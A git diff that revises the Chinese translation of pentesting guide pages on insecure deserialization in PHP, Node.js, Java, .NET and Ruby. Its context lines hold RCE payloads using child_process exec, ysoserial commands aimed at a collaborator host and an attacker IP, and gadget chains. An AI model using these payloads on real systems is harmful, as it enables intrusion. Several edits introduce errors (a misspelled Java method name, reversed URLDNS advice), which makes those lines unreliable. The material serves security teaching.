diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md
index ac004825f..25ae3a987 100644
--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@@ -4,7 +4,7 @@
 
 ## 基本信息
 
-**序列化** 被理解为将对象转换为可以保存的格式的方法，目的是存储对象或作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建，保持其结构和状态。
+**序列化** 被理解为将对象转换为可以保存的格式的方法，目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后的时间重新创建，保持其结构和状态。
 
 **反序列化** 则是与序列化相对的过程。它涉及将以特定格式结构化的数据重新构建回对象。
 
@@ -74,10 +74,10 @@ This is a test<br />
 */
 ?>
 ```
-如果你查看结果，你会发现当对象被反序列化时，**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意，在一些教程中，你会发现当尝试打印某个属性时，**`__toString`** 函数被调用，但显然这**不再发生**。
+如果你查看结果，你会发现当对象被反序列化时，**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意，在一些教程中，你会发现当尝试打印某个属性时会调用 **`__toString`** 函数，但显然这**不再发生**。
 
 > [!WARNING]
-> 如果在类中实现了方法 **`__unserialize(array $data)`**，则会**代替 `__wakeup()`** 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
+> 如果在类中实现了 **`__unserialize(array $data)`** 方法，则会**代替 `__wakeup()`** 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
 >
 > ```php
 > class MyClass {
@@ -172,7 +172,7 @@ python-yaml-deserialization.md
 JS **没有像 PHP 或 Python 那样的 "魔法" 函数**，这些函数仅用于创建对象而被执行。但它有一些 **函数**，即使没有直接调用它们也 **经常使用**，例如 **`toString`**、**`valueOf`**、**`toJSON`**。\
 如果滥用反序列化，您可以 **妥协这些函数以执行其他代码**（可能滥用原型污染），当它们被调用时，您可以执行任意代码。
 
-另一种 **"魔法" 调用函数** 的方式是 **妥协一个由异步函数**（promise）**返回的对象**。因为，如果您 **将该返回对象** 转换为另一个 **promise**，并具有一个名为 **"then" 的函数类型属性**，它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息，请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)_。
+另一种 **"魔法" 调用函数** 的方式是 **妥协一个由异步函数**（promise）**返回的对象**。因为，如果您 **将该返回对象** 转换为另一个 **promise**，并具有一个名为 **"then" 的函数类型属性**，它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息，请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _。_
 ```javascript
 // If you can compromise p (returned object) to be a promise
 // it will be executed just because it's the return object of an async function:
@@ -219,7 +219,7 @@ var serialize = require("node-serialize")
 var payload_serialized = serialize.serialize(y)
 console.log("Serialized: \n" + payload_serialized)
 ```
-序列化对象将如下所示：
+**序列化对象**将如下所示：
 ```bash
 {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
 ```
@@ -231,7 +231,7 @@ console.log("Serialized: \n" + payload_serialized)
 
 ![](<../../images/image (446).png>)
 
-正如您在最后一段代码中看到的，**如果找到该标志**，则使用 `eval` 来反序列化函数，因此基本上**用户输入被用于 `eval` 函数内部**。
+正如您在最后一段代码中所看到的，**如果找到该标志**，则使用 `eval` 来反序列化函数，因此基本上**用户输入被用于 `eval` 函数内部**。
 
 然而，**仅仅序列化**一个函数**并不会执行它**，因为在我们的示例中需要某部分代码**调用 `y.rce`**，这非常**不可能**。\
 无论如何，您可以**修改序列化对象**，**添加一些括号**，以便在对象被反序列化时自动执行序列化的函数。\
@@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
 }
 serialize.unserialize(test)
 ```
-如前所述，该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**，使用`eval`。因此，为了**自动执行代码**，您可以**删除函数创建**部分和最后一个括号，并**仅执行一个 JS 单行代码**，如下例所示：
+如前所述，该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**，使用`eval`。因此，为了**自动执行代码**，您可以**删除函数创建**部分和最后一个括号，并**仅执行一个JS单行代码**，如下例所示：
 ```javascript
 var serialize = require("node-serialize")
 var test =
@@ -278,11 +278,11 @@ __js_function:
 }
 funcster.deepDeserialize(desertest3)
 ```
-**有关更多信息，请阅读此来源**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
+**有关**[ **更多信息，请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
 
 ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
 
-**serialize-javascript** 包专门用于序列化目的，缺乏任何内置的反序列化功能。用户需要负责实现自己的反序列化方法。官方示例建议直接使用 `eval` 来反序列化序列化数据：
+**serialize-javascript** 包专门用于序列化目的，缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据：
 ```javascript
 function deserialize(serializedJavascript) {
 return eval("(" + serializedJavascript + ")")
@@ -302,9 +302,9 @@ var test =
 "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
 deserialize(test)
 ```
-**有关更多信息，请阅读此来源**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
+**有关更多信息，请阅读此来源**[ **更多信息读这个源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
 
-### Cryo 库
+### Cryo库
 
 在以下页面中，您可以找到有关如何滥用此库以执行任意命令的信息：
 
@@ -313,16 +313,16 @@ deserialize(test)
 
 ## Java - HTTP
 
-在 Java 中，**反序列化回调在反序列化过程中执行**。攻击者可以利用这一执行过程，通过构造恶意有效负载来触发这些回调，从而导致潜在的有害操作执行。
+在Java中，**反序列化回调在反序列化过程中执行**。攻击者可以利用恶意有效负载触发这些回调，从而导致潜在的有害操作执行。
 
 ### 指纹
 
 #### 白盒
 
-要识别代码库中潜在的序列化漏洞，请搜索：
+要识别代码库中的潜在序列化漏洞，请搜索：
 
-- 实现 `Serializable` 接口的类。
-- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshared` 函数。
+- 实现了 `Serializable` 接口的类。
+- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshare` 函数。
 
 特别注意：
 
@@ -337,12 +337,12 @@ deserialize(test)
 
 对于黑盒测试，寻找特定的 **签名或“魔法字节”**，以表示来自 `ObjectInputStream` 的 Java 序列化对象：
 
-- 十六进制模式：`AC ED 00 05`。
-- Base64 模式：`rO0`。
+- 十六进制模式： `AC ED 00 05`。
+- Base64模式： `rO0`。
 - HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object`。
-- 表示先前压缩的十六进制模式：`1F 8B 08 00`。
-- 表示先前压缩的 Base64 模式：`H4sIA`。
-- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式时，应进行详细检查，如在 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md) 中所述。
+- 表示先前压缩的十六进制模式： `1F 8B 08 00`。
+- 表示先前压缩的 Base64 模式： `H4sIA`。
+- 具有 `.faces` 扩展名的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查，如 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md)。
 ```
 javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
 ```
@@ -363,7 +363,7 @@ grep -R InvokeTransformer .
 
 #### 黑盒测试
 
-使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)，您可以识别**哪些库可用**（甚至包括版本）。有了这些信息，选择一个有效载荷来利用漏洞可能会**更容易**。\
+使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)，您可以识别**可用的库**（甚至版本）。有了这些信息，**选择一个有效载荷**来利用漏洞可能会**更容易**。\
 [**阅读此文以了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
 GadgetProbe专注于**`ObjectInputStream`反序列化**。
 
@@ -376,7 +376,7 @@ Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
 
 **序列化测试**
 
-并非所有内容都与检查服务器是否使用任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**（可能授予您在web应用程序中的管理员权限）。\
+并不是所有的事情都与检查服务器是否使用了任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**（可能授予您在web应用程序中的管理员权限）。\
 如果您发现一个java序列化对象被发送到web应用程序，**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。
 
 ### **利用**
@@ -385,7 +385,7 @@ Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
 
 利用Java反序列化的主要工具是[**ysoserial**](https://github.com/frohoff/ysoserial)（[**在此下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)）。您还可以考虑使用[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)，这将允许您使用复杂的命令（例如带管道的命令）。\
 请注意，此工具**专注于**利用**`ObjectInputStream`**。\
-我会**先使用“URLDNS”**有效载荷**再使用RCE**有效载荷来测试注入是否可能。无论如何，请注意“URLDNS”有效载荷可能不起作用，但其他RCE有效载荷可能有效。
+我会**先使用“URLDNS”**有效载荷**而不是RCE**有效载荷来测试注入是否可能。无论如何，请注意“URLDNS”有效载荷可能不起作用，但其他RCE有效载荷可能有效。
 ```bash
 # PoC to make the application perform a DNS req
 java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@@ -497,13 +497,13 @@ Java在各种目的上使用了大量的序列化，例如：
 - **RMI (远程方法调用)**: Java RMI协议完全依赖于序列化，是Java应用程序中远程通信的基石。
 - **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用程序使用，利用序列化进行所有对象通信。
 - **JMX (Java管理扩展)**: JMX利用序列化在网络上传输对象。
-- **自定义协议**: 在Java中，标准做法涉及传输原始Java对象，这将在即将到来的漏洞示例中演示。
+- **自定义协议**: 在Java中，标准做法涉及传输原始Java对象，这将在即将到来的利用示例中演示。
 
 ### Prevention
 
 #### Transient objects
 
-一个实现了`Serializable`的类可以将类中任何不应该被序列化的对象实现为`transient`。例如：
+一个实现了`Serializable`的类可以将类中任何不应该被序列化的对象实现为`transient`。例如:
 ```java
 public class myAccount implements Serializable
 {
@@ -520,7 +520,7 @@ throw new java.io.IOException("Cannot be deserialized");
 ```
 #### **增强 Java 中的反序列化安全性**
 
-**自定义 `java.io.ObjectInputStream`** 是保护反序列化过程的实用方法。当满足以下条件时，此方法适用：
+**自定义 `java.io.ObjectInputStream`** 是确保反序列化过程安全的实用方法。当满足以下条件时，此方法适用：
 
 - 反序列化代码在您的控制之下。
 - 预期反序列化的类是已知的。
@@ -546,7 +546,7 @@ return super.resolveClass(desc);
 }
 }
 ```
-**使用 Java Agent 增强安全性** 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 **黑名单有害类**，使用 JVM 参数：
+**使用 Java Agent 进行安全增强** 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 **黑名单有害类**，使用 JVM 参数：
 ```
 -javaagent:name-of-agent.jar
 ```
@@ -610,12 +610,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 
 ### 利用
 
-所以，基本上有很多 **以危险方式使用 JMS 的服务**。因此，如果您有 **足够的权限** 向这些服务发送消息（通常您需要有效的凭据），您可能能够发送 **将被消费者/订阅者反序列化的恶意序列化对象**。\
-这意味着在此利用中，所有 **将使用该消息的客户端都会被感染**。
+所以，基本上有一 **堆服务以危险的方式使用 JMS**。因此，如果您有 **足够的权限** 向这些服务发送消息（通常您需要有效的凭据），您可能能够发送 **恶意对象序列化，这些对象将被消费者/订阅者反序列化**。\
+这意味着在此利用中，所有 **将使用该消息的客户端将被感染**。
 
 您应该记住，即使服务存在漏洞（因为它不安全地反序列化用户输入），您仍然需要找到有效的 gadget 来利用该漏洞。
 
-工具 [JMET](https://github.com/matthiaskaiser/jmet) 被创建用于 **连接和攻击这些服务，发送多个使用已知 gadget 的恶意序列化对象**。这些利用将在服务仍然存在漏洞且所使用的任何 gadget 在易受攻击的应用程序中时有效。
+工具 [JMET](https://github.com/matthiaskaiser/jmet) 被创建用于 **连接和攻击这些服务，发送多个使用已知 gadget 的恶意对象序列化**。这些利用将在服务仍然存在漏洞且所使用的任何 gadget 在易受攻击的应用程序中时有效。
 
 ### 参考文献
 
@@ -639,7 +639,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 
 #### 黑盒
 
-搜索应针对 Base64 编码字符串 **AAEAAAD/////** 或任何类似模式，这可能会在服务器端进行反序列化，从而控制要反序列化的类型。这可能包括但不限于包含 `TypeObject` 或 `$type` 的 **JSON** 或 **XML** 结构。
+搜索应针对 Base64 编码字符串 **AAEAAAD/////** 或任何可能在服务器端进行反序列化的类似模式，从而控制要反序列化的类型。这可能包括但不限于包含 `TypeObject` 或 `$type` 的 **JSON** 或 **XML** 结构。
 
 ### ysoserial.net
 
@@ -651,7 +651,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 
 - **`--gadget`** 用于指示要滥用的 gadget（指示在反序列化期间将被滥用以执行命令的类/函数）。
 - **`--formatter`**，用于指示序列化利用的方法（您需要知道后端使用哪个库来反序列化有效负载，并使用相同的库进行序列化）
-- **`--output`** 用于指示您是否希望以 **raw** 或 **base64** 编码的形式获得利用。_请注意，**ysoserial.net** 将使用 **UTF-16LE** 编码有效负载（Windows 默认使用的编码），因此如果您从 Linux 控制台获取原始数据并仅对其进行编码，可能会遇到一些 **编码兼容性问题**，这将导致利用无法正常工作（在 HTB JSON 框中，有效负载在 UTF-16LE 和 ASCII 中均有效，但这并不意味着它总是有效）。_
+- **`--output`** 用于指示您是否希望以 **raw** 或 **base64** 编码的形式获得利用。_请注意，**ysoserial.net** 将使用 **UTF-16LE** 编码（Windows 默认使用的编码）对有效负载进行 **编码**，因此如果您从 Linux 控制台获取原始数据并仅对其进行编码，您可能会遇到一些 **编码兼容性问题**，这将导致利用无法正常工作（在 HTB JSON 框中，有效负载在 UTF-16LE 和 ASCII 中均有效，但这并不意味着它总是有效）。_
 - **`--plugin`** ysoserial.net 支持插件以制作 **特定框架的利用**，如 ViewState
 
 #### 更多 ysoserial.net 参数
@@ -660,7 +660,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 - `--raf -f Json.Net -c "anything"` 这将指示可以与提供的格式化程序（在这种情况下为 `Json.Net`）一起使用的所有 gadget
 - `--sf xml` 您可以 **指示一个 gadget**（`-g`），ysoserial.net 将搜索包含 "xml" 的格式化程序（不区分大小写）
 
-**ysoserial 示例** 用于创建利用：
+**ysoserial 示例** 创建利用：
 ```bash
 #Send ping
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@@ -680,7 +680,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S
 ```
 **ysoserial.net** 还有一个 **非常有趣的参数**，可以更好地理解每个漏洞是如何工作的： `--test`\
 如果您指明此参数，**ysoserial.net** 将 **尝试** 在 **本地利用漏洞，** 这样您可以测试您的有效载荷是否能正常工作。\
-这个参数很有帮助，因为如果您查看代码，您会发现像以下这样的代码块（来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)）：
+这个参数很有帮助，因为如果您查看代码，您会发现类似以下的代码块（来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)）：
 ```java
 if (inputArgs.Test)
 {
@@ -706,7 +706,7 @@ return obj;
 }
 ```
 在**之前的代码易受创建的漏洞影响**。因此，如果您在 .Net 应用程序中发现类似的内容，这意味着该应用程序可能也存在漏洞。\
-因此，**`--test`** 参数使我们能够理解**哪些代码块易受** **ysoserial.net** 可以创建的反序列化漏洞影响。
+因此，**`--test`** 参数使我们能够了解**哪些代码块易受反序列化漏洞的影响**，该漏洞**ysoserial.net**可以创建。
 
 ### ViewState
 
@@ -735,7 +735,7 @@ return obj;
 
 ## **Ruby**
 
-在 Ruby 中，序列化通过 **marshal** 库中的两个方法来实现。第一个方法称为 **dump**，用于将对象转换为字节流。这个过程称为序列化。相反，第二个方法 **load** 用于将字节流还原为对象，这个过程称为反序列化。
+在 Ruby 中，序列化通过**marshal**库中的两种方法实现。第一种方法称为**dump**，用于将对象转换为字节流。这个过程称为序列化。相反，第二种方法**load**用于将字节流还原为对象，这个过程称为反序列化。
 
 为了保护序列化对象，**Ruby 使用 HMAC（基于哈希的消息认证码）**，确保数据的完整性和真实性。用于此目的的密钥存储在几个可能的位置之一：
 
@@ -819,7 +819,7 @@ puts Base64.encode64(payload)
 
 ### Ruby .send() 方法
 
-正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的，如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法，该方法允许 **调用对象的任何其他方法**，并使用任何参数。
+正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的，如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法，该方法允许 **调用对象的任何其他方法**，并传递任何参数。
 
 例如，调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码:
 ```ruby
@@ -854,17 +854,17 @@ candidate_methods.length() # Final number of methods=> 3595
 
 ### Ruby _json 污染
 
-当发送一些不可哈希的值如数组时，它们将被添加到一个名为 `_json` 的新键中。然而，攻击者也可以在请求体中设置一个名为 `_json` 的值，包含他希望的任意值。然后，如果后端例如检查一个参数的真实性，但又使用 `_json` 参数执行某些操作，则可能会发生授权绕过。
+当发送一个包含一些不可哈希值（如数组）的主体时，它们将被添加到一个名为 `_json` 的新键中。然而，攻击者也可以在主体中设置一个名为 `_json` 的值，包含他希望的任意值。然后，如果后端例如检查一个参数的真实性，但又使用 `_json` 参数执行某些操作，则可能会发生授权绕过。
 
 在 [Ruby _json 污染页面](ruby-_json-pollution.md) 中查看更多信息。
 
 ### 其他库
 
-此技术取自 [**这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
+此技术取自[ **这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
 
 还有其他 Ruby 库可以用来序列化对象，因此可以被滥用以在不安全的反序列化期间获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法（基本上是滥用以获得 RCE 的函数）：
 
-<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>库</strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (类需要作为键放入哈希（映射）中)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (类需要作为键放入哈希（映射）中)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (类需要作为键放入哈希（映射）中)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([查看关于 json_create 的注释在末尾](#table-vulnerable-sinks))</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>库</strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>（类需要作为键放入哈希（映射）中）</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>（类需要作为键放入哈希（映射）中）</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>（类需要作为键放入哈希（映射）中）<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>（[查看关于 json_create 的注释](#table-vulnerable-sinks)）</td></tr></tbody></table>
 
 基本示例：
 ```ruby
@@ -888,7 +888,7 @@ puts json_payload
 # Sink vulnerable inside the code accepting user input as json_payload
 Oj.load(json_payload)
 ```
-在尝试滥用 Oj 的情况下，可以找到一个小工具类，它在其 `hash` 函数内部会调用 `to_s`，这将调用 spec，进而调用 fetch_path，这使得它能够获取一个随机 URL，从而很好地检测这些未清理的反序列化漏洞。
+在尝试滥用 Oj 的情况下，可以找到一个小工具类，它在其 `hash` 函数内部会调用 `to_s`，而 `to_s` 会调用 spec，进而调用 fetch_path，这使得它能够获取一个随机 URL，从而很好地检测这些未清理的反序列化漏洞。
 ```json
 {
 "^o": "URI::HTTP",
diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
index 23640e903..3ea907710 100644
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -2,12 +2,12 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-这篇文章致力于**理解如何利用 ObjectDataProvider 小工具**来获得 RCE，以及**如何**利用序列化库**Json.Net 和 xmlSerializer**与该小工具进行滥用。
+本文旨在**理解如何利用 ObjectDataProvider 小工具**来获得 RCE，以及**如何**利用序列化库**Json.Net 和 xmlSerializer**与该小工具进行滥用。
 
 ## ObjectDataProvider 小工具
 
 根据文档：_ObjectDataProvider 类包装并创建一个可以用作绑定源的对象。_\
-是的，这个解释很奇怪，所以让我们看看这个类有什么有趣的地方：这个类允许**包装任意对象**，使用_**MethodParameters**_来**设置任意参数，**然后**使用 MethodName 调用使用任意参数声明的任意对象的任意函数。\
+是的，这个解释有点奇怪，让我们看看这个类有什么有趣的地方：这个类允许**包装任意对象**，使用_**MethodParameters**_来**设置任意参数，**然后**使用 MethodName 调用使用任意参数声明的任意对象的任意函数。\
 因此，任意**对象**将在**反序列化**时**执行**一个带有**参数**的**函数**。
 
 ### **这怎么可能**
@@ -52,14 +52,14 @@ myODP.MethodName = "Start";
 }
 }
 ```
-注意，您需要添加作为引用的 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data`
+注意，您需要添加作为引用 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data`
 
 ## ExpandedWrapper
 
-使用之前的漏洞，将会有一些情况，其中 **对象** 将被 **反序列化为** 一个 _**ObjectDataProvider**_ 实例（例如在 DotNetNuke 漏洞中，使用 XmlSerializer，对象是通过 `GetType` 反序列化的）。然后，将对 _ObjectDataProvider_ 实例中所包装的 **对象类型没有任何了解**（例如 `Process`）。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
+使用之前的漏洞，将会有一些情况，其中 **对象** 将被 **反序列化为** 一个 _**ObjectDataProvider**_ 实例（例如在 DotNetNuke 漏洞中，使用 XmlSerializer，对象是通过 `GetType` 反序列化的）。然后，将对 _ObjectDataProvider_ 实例中封装的 **对象类型没有任何了解**（例如 `Process`）。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
 
-这个类允许 **指定封装在给定实例中的对象的类型**。因此，这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中，并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
-这对于之前提出的情况非常有用，因为我们将能够 **将 \_ObjectDataProvider**_\*\* 包装在一个 \*\*_**ExpandedWrapper** \_ 实例中，并且 **在反序列化时** 这个类将 **创建** _**OjectDataProvider**_ 对象，该对象将 **执行** 在 _**MethodName**_ 中指示的 **函数**。
+这个类允许 **指定封装在给定实例中的对象类型**。因此，这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中，并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
+这在之前提到的情况中非常有用，因为我们将能够 **将 \_ObjectDataProvider**_\*\* 包装在一个 \*\*_**ExpandedWrapper** \_ 实例中，并且 **在反序列化时** 这个类将 **创建** _**OjectDataProvider**_ 对象，该对象将 **执行** 在 _**MethodName**_ 中指示的 **函数**。
 
 您可以使用以下代码检查这个包装器：
 ```java
@@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 ```
 ## Json.Net
 
-在[官方网站](https://www.newtonsoft.com/json)上指出，这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此，如果我们能够**反序列化ObjectDataProvider小工具**，我们可以仅通过反序列化一个对象来导致**RCE**。
+在[官方网站](https://www.newtonsoft.com/json)上指出，该库允许**使用Json.NET强大的JSON序列化程序序列化和反序列化任何.NET对象**。因此，如果我们能够**反序列化ObjectDataProvider小工具**，我们可以仅通过反序列化一个对象来导致**RCE**。
 
 ### Json.Net示例
 
-首先，让我们看一个如何使用这个库**序列化/反序列化**对象的示例：
+首先，让我们看一个如何使用该库**序列化/反序列化**对象的示例：
 ```java
 using System;
 using Newtonsoft.Json;
diff --git a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
index 3c840e3de..677a1ec68 100644
--- a/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
+++ b/src/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
@@ -7,7 +7,7 @@
 Java `Serializable` 接口（`java.io.Serializable` 是一个标记接口，您的类必须实现它才能被 **序列化** 和 **反序列化**。Java 对象序列化（写入）是通过 [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) 完成的，反序列化（读取）是通过 [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) 完成的。
 
 让我们看一个 **可序列化的类 Person** 的示例。这个类 **重写了 readObject** 函数，因此当 **这个类的任何对象** 被 **反序列化** 时，这个 **函数** 将被 **执行**。\
-在这个示例中，Person 类的 **readObject 函数** 调用了它的宠物的 `eat()` 函数，而 Dog 的 `eat()` 函数（出于某种原因）调用了 **calc.exe**。 **我们将看到如何序列化和反序列化一个 Person 对象以执行这个计算器：**
+在这个示例中，类 Person 的 **readObject 函数** 调用了它的宠物的 `eat()` 函数，而 Dog 的 `eat()` 函数（出于某种原因）调用了 **calc.exe**。 **我们将看到如何序列化和反序列化一个 Person 对象以执行这个计算器：**
 
 **以下示例来自 [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
 ```java
diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index cffa6ed93..971348f88 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -17,12 +17,12 @@ ViewState 信息可以通过以下属性或其组合来表征：
 
 ## 测试用例
 
-该图像是一个表，详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容的摘要：
+该图像是一个表，详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容摘要：
 
 1. 对于 **任何版本的 .NET**，当 MAC 和加密都被禁用时，不需要 MachineKey，因此没有适用的方法来识别它。
 2. 对于 **4.5 版本以下**，如果启用了 MAC 但未启用加密，则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。
 3. 对于 **4.5 版本以下**，无论 MAC 是否启用，如果启用了加密，则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - Future Development" 的任务。
-4. 对于 **4.5 版本及以上**，所有 MAC 和加密的组合（无论两者都为 true，还是一个为 true 另一个为 false）都需要 MachineKey。可以使用 "Blacklist3r" 来识别 MachineKey。
